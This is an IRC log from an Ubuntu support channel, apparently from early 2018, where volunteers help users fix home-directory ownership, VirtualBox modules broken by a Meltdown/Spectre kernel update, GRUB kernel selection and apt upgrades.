[22:01] <jeffmr> Not sure how to get that : )
[22:01] <zomaar_> Open first a console, and then run "chromium-browser"
[22:01] <zomaar_> console == terminal
[22:01] <jeffmr> I see.
[22:02] <roses> I added ppa:canonical-kernel-team/pti. to therepos and now my kernel reads 4.13.0-25, but https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown shows that cloud images have been released. Does that affect me? Do I have to do something else?
[22:03] <jeffmr> zomaar_, I get this error https://pastebin.com/16rV23Pe
[22:03] <jeffmr> If I try to run it as sudo, it says that's not allowed.
[22:03] <zomaar_> jeffmr: It looks like you ran a root command in your home directory
[22:04] <zomaar_> jeffmr: run: sudo chown -R $USER:$USER ~
[22:04] <zomaar_> copy that
[22:04] <jeffmr> Yeah, I couldn't get chromium to install so I thought I needed root permissions so I launched the software center using sudo from the command line.
[22:04] <zomaar_> Yes you must use gksudo or kdesudo for that, sorry
[22:04] <jeffmr> Not right, huh?
[22:04] <jeffmr> Ok.
[22:05] <zomaar_> They should have fixed that
[22:05] <zomaar_> Long time ago
[22:05] <jeffmr> is USER my username?
[22:05] <zomaar_> gksudo = for unity/gnome
[22:05] <zomaar_> I wanted you to copy the exact command
[22:05] <zomaar_> $USER will translate to your username
[22:05] <jeffmr> Ok.
[22:05] <zomaar_> So you can also do   sudo chown -R jeff:jeff ~
[22:05] <zomaar_> If that would be it
[22:07] <jeffmr> Says permission denied, can't access /home/jeffmr/.gvfs
[22:07] <zomaar_> That's fine
[22:07] <zomaar_> Even root doesn't have access to that
[22:07] <zomaar_> Try again now
[22:07] <zomaar_> Chromium
[22:08] <jeffmr> Ok.
[22:08] <jeffmr> Hooray!
[22:08] <jeffmr> What did we do?
[22:09] <jeffmr> Change ownership of chromium to me?
[22:09] <zomaar_> We got back all the files to your user
[22:09] <jeffmr> Cool.
[22:09] <jeffmr> Thanks.
[22:09] <zomaar_> No of the configuration files of chromium in your home directory
[22:09] <zomaar_> chown = change ownership
[22:10] <zomaar_> -R = recursive, and ~ is your entire home directory
[22:10] <jeffmr> Right.  Would it be possible to use chmod 755 or is that something different?
[22:10] <zomaar_> So it's a fix-all solution that works every time if you were to use sudo again ;-)
[22:10] <jeffmr> Oh, ok.
[22:10] <jeffmr> Lol.
[22:11] <jeffmr> Ok.  I better write this down.
[22:11] <zomaar_> Chmod cannot distinguish between files and directories so it would become a mess
[22:11] <jeffmr> I see.
[22:11] <zomaar_> However
[22:12] <zomaar_> chmod -R +w ~ would also do the trick but that's not the solution
[22:12] <zomaar_> This would give write access to everyone on your system, including you
[22:12] <zomaar_> So don't do that
[22:12] <zomaar_> Not that it matters in principle, but it matters in principle
[22:13] <jeffmr> so ..sudo software-center text-edit..  jk  :
[22:13] <zomaar_> Try gksudo next time ;-)
[22:13] <jeffmr> I want to do it correctly.
[22:13] <jeffmr> Ok.
[22:14] <zomaar_> There are even more ways to choke this cat
[22:14] <anden> well thanks
[22:15] <zomaar_> setfacl -R -m u:jeff:rw ~ would also give your user access to everything
[22:15] <zomaar_> But I shouldn't be mentioning this
[22:16] <zomaar_> setfacl -R -m u:jeff:rwX ~ in fact
[22:16] <jeffmr> mmhmm.
[22:16] <zomaar_> But this is a different underlying permissions system that Linux also has
[22:17] <zomaar_> If you look at "vdir /dev/snd" you will see a + sign after all the permissions
[22:17] <jeffmr> Is it true that the nsa has access to google's users information?
[22:18] <zomaar_> It is safe to assume that they have deals with all the big organisations
[22:18] <jeffmr> For shame.
[22:18] <Zaliek> You can in fact set execute recursively on directories while not on files using chmod. chmod -R u=rwX,g=rX,o= foldername
[22:18] <zomaar_> Oh I never saw that
[22:18] <zomaar_> Thanks
[22:18] <zomaar_> Should have seen that...
[22:19] <jeffmr> Seen what?
[22:19] <zomaar_> No, I was always using complex find rules to set chmod for files and directories separaturely for some reason
[22:19] <Zaliek> it's okay, I had to do some digging
[22:20] <Zaliek> Everyone uses chmod 777 in tutorials
[22:20] <zomaar_> Even while being aware of the X flag (X means that you can enter a directory)
[22:20] <Zaliek> It takes longer to type but you don't have to math to know exactly what perms you're granting
[22:20] <zomaar_> This makes life a lot easier :)
[22:21] <zomaar_> And otherwise you can't separate directories and files
[22:21] <Zaliek> can also add in s for sticky if you need it
[22:22] <zomaar_> jeffmr: In any case the problem was not the permissions, but the ownership
[22:22] <zomaar_> jeffmr: Before we overwhelm you here
[22:22] <Zaliek> aye you really don't want to go recursively setting perms on your user directory
[22:23] <Zaliek> Changing the owner and group are safe thou
[22:23] <jeffmr> Don't worry.  I don't know the detail of what I did so I'm sure I won't go throwing commands around next time without checking.
[22:24] <sw0rdy> hi, bootloader installation failed during format
[22:26] <zomaar_> jeffmr: ~ is just a character that is the same as your home directory
[22:26] <zomaar_> In any filename, at least while you are in a terminal
[22:27] <zomaar_> So we referenced your home directory as the target of the command
[22:27] <zomaar_> That's all you need to know for now
[22:28] <zomaar_> sw0rdy: During format?
[22:28] <zomaar_> sw0rdy: It is normally installed somewhere at the end of the install
[22:29] <jeffmr> Thanks again zomaar_.  I know what ~ means.
[22:29] <zomaar_> jeffmr: If you use "gksudo" it will properly run as root in the graphical environment
[22:29] <jeffmr> Ok.
[22:29] <zomaar_> (and it would have created those files in "root"'s home directory instead)
[22:29] <Zaliek> You shouldn't need to run software center as root though
[22:30] <jeffmr> That's what I thought.  Maybe I just wasn't patient enough.
[22:30] <zomaar_> No, but next time you find the need
[22:30] <Zaliek> If you hit that bug where it doesn't ask you for the admin password when you try to install something, try restarting and trying again
[22:30] <zomaar_> For instance, you can run a file manager as root this way
[22:30] <nacc> zomaar_: that's is terrible advice.
[22:30] <nacc> zomaar_: running nautilus as root tends to make people's home directories unusable
[22:31] <zomaar_> not with gksudo nacc
[22:31] <jeffmr> brb
[22:31] <zomaar_> That's what gksudo is meant for
[22:31] <zomaar_> And kdesudo in KDE
[22:31] <nacc> zomaar_: you don't need to do that, nautilus understands how to elevate permissions
[22:31] <nacc> when you need to, that is
[22:32] <zomaar_> Okay, I didn't know that
[22:32] <zomaar_> But I run KDE
[22:32] <nacc> i can think of almost no case where someone actually needs to use a GUI to do filesystem manipulation as root
[22:32] <adman120> hey i keep getting exit code 127 when trying to run a mount but i dont know what to do next any ideas?
[22:32] <zomaar_> need is a big word, some people write tutorials that way
[22:33] <sw0rdy> zomaar_: where should it get installed /dev/sda1 or /dev/mapper/sda5_crpt ... its giving me options here... could this be a problem about legacy and uefi I believe the bios settings were set to legacy and I might've made the usb bootable in mbr/uefi
[22:33] <nacc> adman120: can you pastebinn the exact command and output?
[22:33] <adman120> yea
[22:33] <zomaar_> sw0rdy: /dev/sda
[22:33] <JonelethIrenicus> nacc: so uninstalling everything in the repo and reinstalling everything worked mostly
[22:33] <JonelethIrenicus> nacc: not sure if you remember i was trying to uninstall a software repo that wasn't from launchpad
[22:33] <fishcooker> http://vpaste.net/TBsUc on this dmesg the box after successfully reach sleep state it wakes up in seconds... don't know why
[22:34] <adman120> https://pastebin.com/KCQ8mjfU nacc
[22:34] <JonelethIrenicus> only problem is the nvidia drivers are building for my kernel
[22:34] <JonelethIrenicus> aren't*
[22:34] <nacc> adman120: ~ in a systemd unit file doesn't make any sense
[22:35] <nacc> adman120: that's at least one thing i see
[22:35] <adman120> ok
[22:35] <adman120> ill fix it
[22:35] <nacc> adman120: if you run the command as in the log, does it work?
[22:35] <adman120> ?
[22:35] <zomaar_> adman120: the file is in your own home directory right
[22:36] <zomaar_> on in root's?
[22:36] <adman120> mine
[22:36] <nacc> adman120: do you see line 26 in your paste?
[22:36] <nacc> adman120: that is the command that returned 127
[22:36] <nacc> adman120: does that command work?
[22:36] <iwsfutcmd> so i've got the strangest problem - ever since i upgraded to Artful, pressing SHFT+SPACE no longer types spaces, and when capslock is on, it's affecting the number keys as well as the letter keys. i'm pretty sure these things might be related. any idea why this might be happeneing?
[22:37] <zomaar_> adman120: He means if you run it as your user
[22:37] <nacc> zomaar_: i actually don't, as systemd does't run system services as your user
[22:37] <adman120> no it has different syntax when run as a command
[22:37] <zomaar_> Of course it can't run as root with the ~ in there
[22:37] <nacc> adman120: ?
[22:38] <nacc> zomaar_: right, i already told them to fix that
[22:38] <adman120> ie when run in term its rclone mount remote:dir remote:dir options
[22:39] <nacc> adman120: well, systemd is running the command as shown in line 26
[22:39] <nacc> adman120: i doubt systemd understands rclone, as i don't know what that is
[22:39] <zomaar_> adman120: He means you to run the command from the log, as root, with your ~ replaced by /home/$USER/ of your current user
[22:39] <fishcooker> what's the trigger that the suspend just take 2-3seconds than wakes up again http://vpaste.net/TBsUc
[22:40] <zomaar_> adman120: So /home/adman if that would be it
[22:40] <nacc> adman120: i feel like maybe you misundestood what the systemd.mount stuff does
[22:40] <adman120> im reading from a doc thats why im confused
[22:40] <nacc> adman120: they are for invoking `mount`
[22:40] <adman120> https://github.com/ncw/rclone/wiki/rclone-fstab-mount-helper-script
[22:42] <nacc> adman120: they both assume you have this rclonefs helper script
[22:42] <adman120> o im a dumbass arnt i
[22:43] <nacc> adman120: for further support, you should contact that upstream projject, it's not an ubuntu support topic, afaict
[22:43] <adman120> thank tho
[22:44] <zomaar_> fishcooker: There is usually not a lot you can do about systems not returning from sleep correctly but maybe I am wrong
[22:44] <zomaar_> fishcooker: Sometimes it can help to change the graphics driver (ie. use nVidia if you are using Nouveau)
[22:45] <marcisb> I have problem i dont know how to fix
[22:45] <marcisb> I cant click on desktop icons
[22:50] <zomaar_> marcisb: Also after reboot?
[22:59] <reirob> Hello
[23:00] <reirob> I just upgraded Ubuntu 16.04 to the latest patch (meltdown/spectre) and now cannot start virtualbox
[23:01] <reirob> It says to modprobe vboxdrv
[23:01] <reirob> but when I do this I get: modprobe: ERROR: could not insert 'vboxdrv': Invalid argumen
[23:02] <dnegreira> you need to recompile the modules for virtualbox
[23:02] <nacc> reirob: it should have happened via dkms, iirc
[23:02] <reirob> so what should I do?
[23:04] <brainwash> maybe reinstall vbox
[23:05] <zomaar_> reirob: I don't know what dpkg-reconfigure virtualbox would do
[23:05] <reirob> I have a ton of vms that I need for my work and I'm afraid to break something
[23:05] <reirob> zomaar_: I will try
[23:05] <dnegreira> sudo apt-get --reinstall install virtualbox-dkms
[23:06] <dnegreira> should do the trick
[23:06] <reirob> dnegreira: Trying it out right now
[23:06] <nacc> i would also be surprised if virtualbox didn't need an update, tbh
[23:06] <Zaliek> If you need to reinstall virtualbox then you can always re-add machines from the .vbox files
[23:06] <nacc> as the kernel changes are pretty invasive
[23:07] <reirob> nacc: But then the update of virtualbox should have come together with the kernel patch, or not?
[23:07] <reirob> I mean, I need the VMs for my work. I'd prefer the security update to not break the tools that I use
[23:07] <Zaliek> Virtualbox does not seem to be covered by the automatic updates
[23:08] <Zaliek> Usually I have to update it manually with apt
[23:08] <nacc> reirob: i didn't say it happened, i'm saying i wouldn't be surprised
[23:08] <nacc> reirob: did you look to see if the modules were rebuilt?
[23:08] <nacc> reirob: and did you look to see if the module exists or not and what the error was?
[23:08] <reirob> virtualbox-dkms just reinstalled
[23:09] <nacc> reirob: i mean, choosing to use an out of tree virt. driver is also a choice you made :)
[23:09] <reirob> nacc: do I have to reboot?
[23:09] <nacc> reirob: for what?
[23:09] <nacc> reirob: did you see it build updated drivers?
[23:10] <Zaliek> Unless you're jumping to a new major version of virtualbox updating it shouldn't cause any problems. You will have to install a new additions plugin and update the guest additions if installed
[23:10] <reirob> nacc: It said: DKMS: install completed. Processing triggers for shim-signed (1.32~16.04.1+0.9+1474479173.6c180c6-1ubuntu1)
[23:10] <Zaliek> Part of why it doesn't update manually
[23:10] <Zaliek> err *automatically
[23:11] <reirob> nacc: What is an out of tree virt. driver? I just installed virtualbox without any options iirc
[23:11] <nacc> Zaliek: i meant more that the kernel source is being changed and virtualbox has to build a driver compatible with those changes, easily can break
[23:11] <nacc> Zaliek: true of any dkms driver, to be clear
[23:11] <Zaliek> virtualbox has to modify the kernel to be able to work
[23:11] <Sveta> one'd wish these changes were backward compatible
[23:12] <nacc> reirob: virtualbox is not in the upstream Linux kernel, so it must be built manually (hence these dkms drivers)
[23:12] <nacc> Zaliek: uh, what?
[23:12] <nacc> Zaliek: it has its own modules, it doesn't modify the kernel itself, afaik
[23:12] <nacc> Sveta: lol
[23:12] <reirob> nacc: So, if I understand it correctly, reinstalling virtualbox-dkms did something for kernel 16.04.1, but uname -a says "4.13.0-26-generic"
[23:12] <nacc> reirob: that's not a kernel version (16.04.1) that's your OS version
[23:13] <nacc> reirob: which is out of date, if that's true :)
[23:13] <Zaliek> I meant that in a very general term (modules "modify" the kernel by adding functionality)
[23:13] <reirob> i see
[23:13] <nacc> *should* be 16.04.3, at least
[23:13] <nacc> Zaliek: modules extend the kernel sure, I think 'modify'ing the kernel would mean something rather different (speaking as a former kernel developer)
[23:13] <nacc> but regardless, back to reirob's issues
[23:14] <reirob> after reinstalling the virtualbox-dkms I get still the same problem
[23:14] <nacc> reirob: it's probably easier to debug if you pastebin the actual logs
[23:14] <Zaliek> Speaking of virtualbox... cannot for the life of me figure out how to change the mount options for shared directories when automounting in an ubuntu guest
[23:14] <sw0rdy> during the format/installation I was seeing A LOT of removing going around, like, "completely removing ubiquiti"...etc
[23:14] <zomaar_> sw0rdy: That's normal
[23:14] <sw0rdy> oh, I see.
[23:14] <reirob> now I ran "sudo modprobe vboxdrv" and it looks better :-)
[23:15] <sw0rdy> possibly missing firmware /lib/amdgpu or something similar <---
[23:15] <reirob> now virtualbox does not find vboxnet0
[23:15] <sw0rdy> is that ok too zomaar_ ^
[23:15] <reirob> :-(
[23:15] <zomaar_> sw0rdy: Not sure
[23:15] <reirob> lsmod vbox
[23:16] <zomaar_> sw0rdy: If your computer boots I would not worry for now
[23:16] <sw0rdy> cool
[23:16] <reirob> I will try to reboot now the computer
[23:16] <reirob> will be back
[23:17] <Zaliek> I added my user to vboxsf group and can browse the files in nautilis however I'm trying to open a file from it in LuckyLUKs and it gets a permission denied error
[23:18] <zomaar_> nacc: That previous user had already run sudo something, we had cleared his home directory (chmod), that is why I mentioned that gksudo was better next time
[23:18] <zomaar_> chown I mean
[23:19] <Zaliek> luckyLUKS should be running as root but it still can't access something owned by root :S
[23:19] <reirob_> Hello again
[23:20]  * Toadisattva jumps in mid conversation with no background at all
[23:20] <Toadisattva> but did you chmod 777?
[23:20] <zomaar_> chown
[23:20] <Toadisattva> that is correct
[23:20] <Toadisattva> lol
[23:20] <reirob_> So, my problem. After the recent ubuntu update, virtual box does not work again. I reinstalled virtualbox-dkms and rebooted. Now virtualbox does not complain, but CRASHES the laptop!?
[23:21] <reirob_> That's scary. I need virtualbox for my work. What should I do?
[23:21] <nacc> reirob: i'd ask about this  in #ubuntu-hardened
[23:21] <reirob_> ok
[23:21] <reirob_> thank you nacc
[23:21] <Zaliek> Toadisattva, doing chmod on the mount directory doesn't change anything
[23:21] <zomaar_> No actually we did setfacl -R u:$USER:rwX ~
[23:21] <zomaar_> lol
[23:22] <Zaliek> as in the permissions don't change
[23:22] <Zaliek> which I've never seen happen before
[23:22] <zomaar_> reirob_: Easiest is of course to revert to the older kernel
[23:22] <zomaar_> reirob_: And stop kernel updates
[23:22] <Zaliek> It's like virtualbox guest additions does some arcane magic
[23:23] <zomaar_> reirob_: Or boot the older kernel by default
[23:24] <Zaliek> sigh can't get it to work. guess I'll just use a usb drive instead to access files in the guest
[23:24] <reirob_> Thank you zoomaar_, I will try it
[23:24] <zomaar_> reirob_: If you want to see new updates arrive you can of course set the Grub default
[23:24] <reirob_> I am waiting if the people at ubuntu-hardened provide me some other tipps. But if it doesn't work, will go back to the older kernel
[23:25] <hggdh> reirob_: your best option is to first reboot to the previous kernel, and see if it works
[23:25] <reirob_> zomaar_: how do I change the default kernel to boot?
[23:26] <zomaar_> reirob_: grep "generic-advanced" /boot/grub/grub.cfg and look for the "advanced" string that has the kernel ID
[23:26] <zomaar_> Oh that only works for generic kernels of course
[23:27] <zomaar_> But anyway, this gives you an id you can give to /etc/default/grub in GRUB_DEFAULT=id
[23:27] <reirob_> thank you zomaar_  :-)
[23:27] <zomaar_> For instance, this can give "gnulinux-4.10.0-40-generic-advanced-/dev/sda1"
[23:28] <zomaar_> I believe that should work at least.
[23:30] <zomaar_> reirob_: After that you have to rerun update-grub
[23:31] <reirob_> zomaar_: I am trying if I get virtualbox working again. Rebooting. Will be back.
[23:34]  * dsaravanan when I reboot my system the following message is displayed
[23:34] <reirob> zomaar_: I am confused now. Tried 3 times to reboot, but I cannot get the grub menu showing. It just boots to the login screen without showing the boot menu
[23:35] <zomaar_> Maybe someone can tell you what key to press
[23:35] <hggdh> left shift key
[23:35] <reirob> But I know that sometimes it shows the boot menu, and in advanced menu item I can chose the older kernel
[23:35] <reirob> ok, thanks hggdh
[23:36] <reirob> Will try again. What a journey after an automatic os update
[23:36] <zomaar_> Yeah I ehm have automatic updates turned off ;-)
[23:36]  * dsaravanan kernel BUG at /build/linux-J4_IpC/linux-4.4.0 is the message
[23:38] <zomaar_> dsaravanan: try to boot older kernel
[23:38] <bulkior> if the sound doesn't work and the audio isn't showing in lspci, what does that mean?
[23:39] <zomaar_> bulkior: maybe the sound device is not enabled in alsamixer, or you have the wrong device selected, I don't know.
[23:39] <reirob_> Hi again. I am not able to make the grub menu appear on boot. tried now several times, holding left shift. :-O
[23:39] <reirob_> I am giving up for today. Sorry, I am falling almost asleep. Will try tomorrow.
[23:39] <zomaar_> And tab? I always rammed tab
[23:39] <Sveta> nini reirob_
[23:40] <zomaar_> Good night
[23:40] <sw0rdy> apt-get wanted to hold back kernel upgrading but update-manager is updating it after I opened it, is that okay?
[23:40] <reirob_> The last ubuntu update just spoiled my evening :-(
[23:40] <Sveta> sw0rdy what did apt say?
[23:40] <adman120> anyone know if its possible to display a fused directory over nfs
[23:40]  * dsaravanan zomaar: Thank you for the replay. Could you explain further as I am new to linux.
[23:40] <reirob_> I hope I get virtual box working tomorrow with the old kernel.
[23:41] <reirob_> I wish you all a nice evening. And thank you for all your swift advices. I made some progress.
[23:41] <zomaar_> yw
[23:41] <reirob_> Tomorro is another day.
[23:41] <zomaar_> hopefully
[23:41] <reirob_> You're great people :-)
[23:41] <reirob_> bye bye
[23:41] <sw0rdy> Sveta: only that kernel packages "have been kept back" and 3 libpoppler packages will be upgraded
[23:41] <zomaar_> dsaravanan: something went wrong and you must try to boot an older version of the main part of your system
[23:42] <zomaar_> dsaravanan: This part is available but you must use the GRUB boot menu to select it
[23:42] <zomaar_> Except that people can't get it opened...
[23:43]  * dsaravanan zomaar: Thank you zomaar.
[23:43] <zomaar_> dsaravanan: You must in the GRUB boot menu select "advanced" and then the 3rd line, basically
[23:43] <akik> for the love of ubuntu i can't understand why they hide it
[23:43] <adman120> anyone know if its possible to display a fused directory over nfs
[23:44] <akik> i always set it as visible after install
[23:44] <zomaar_> oh the menu
[23:44] <zomaar_> For some reason it always shows for me both on my multi-boot install and my single-boot debian
[23:45] <sw0rdy> Sveta
[23:45] <Sveta> sw0rdy: which ones is update-manager updating, the 3 libpoppler packages or the kernel packages?
[23:46] <sw0rdy> the kernel packages
[23:46] <sw0rdy> "ubuntu-base"
[23:46] <zomaar_> sw0rdy: apt holds them back because you did "upgrade"
[23:46] <zomaar_> sw0rdy: There is nothing wrong
[23:46] <sw0rdy> zomaar_: well "update" wouldn't do anything it just said "done" at the end like there are no kernel updates available
[23:47] <Sveta> sw0rdy: what apt-get command was this?
[23:47] <zomaar_> upgrade
[23:47] <sw0rdy> so was using the update-manager the only way to update the kernel
[23:47] <zomaar_> no, there is dist-upgrade
[23:47] <zomaar_> But it is fine that it is doing it
[23:47] <sw0rdy> oh ok
[23:47] <Sveta> sw0rdy: i'm not sure what you did, but https://askubuntu.com/questions/601/the-following-packages-have-been-kept-back-why-and-how-do-i-solve-it looks relevant
[23:47] <sw0rdy> so dist-upgrade would've done it via terminal zomaar_
[23:47] <zomaar_> yes
[23:47] <sw0rdy> cool
[23:47] <zomaar_> it does the held back packages
[23:48] <sw0rdy> thanks guys
[23:48] <zomaar_> this is to ensure that the potentially breaking stuff normally is not done automatically
[23:48] <zomaar_> but I guess it actually does happen automatically for some people...
[23:50] <michael2> what is the "potentially breaking stuff" ?
[23:50] <zomaar_> kernels
[23:50] <zomaar_> just as today
[23:51] <Guest21768> I have been trying to set up a crontab entry and cant figure out how to see if I made it properly.   What is the command to just list the entries for crontab?
[23:51] <akik> 4.13.0-26 broke nvidia driver on an older machine
[23:52] <michael2> cases where one package says "I want depency B version 1.1" and another package says "I want dependency B 1.2" but both dependencies cant co-exist - causing apt upgrade to essentially fall over?
[23:52] <Guest21768> "crontab l" did not work
[23:52] <nacc> Guest21768: crontab -l
[23:53] <Guest21768> thanks nacc  that worked !!! :-)
[23:53] <zomaar_> michael2: No not really
[23:54] <zomaar_> michael2: Just kernels, and for Debian 9 for instance, the upgrade to mariadb
[23:55] <michael2> zomaar_: so therefore if you did `apt-get update` only selecting non-kernel packages - there would be no need for `apt-get dist-upgrade`?
[23:55] <nacc> michael2: update doesn't do any installations
[23:56] <michael2> nacc: ah thank, s/update/upgrade/
[23:56] <zomaar_> michael2: But you can't "select" only non-kernel packages with upgrade
[23:56] <zomaar_> michael2: upgrade doesn't take a parameter
[23:56] <nacc> michael2: please read the manpages
[23:56] <nacc> michael2: it's not exactly what zomaar_ is describing, even if in effect it is
[23:56] <nacc> michael2: apt doesn't know what a kernel package is
[23:57] <zomaar_> michael2: The upgrade to mariadb from mysql for instance is potentially disruptive, so they let users do it on their own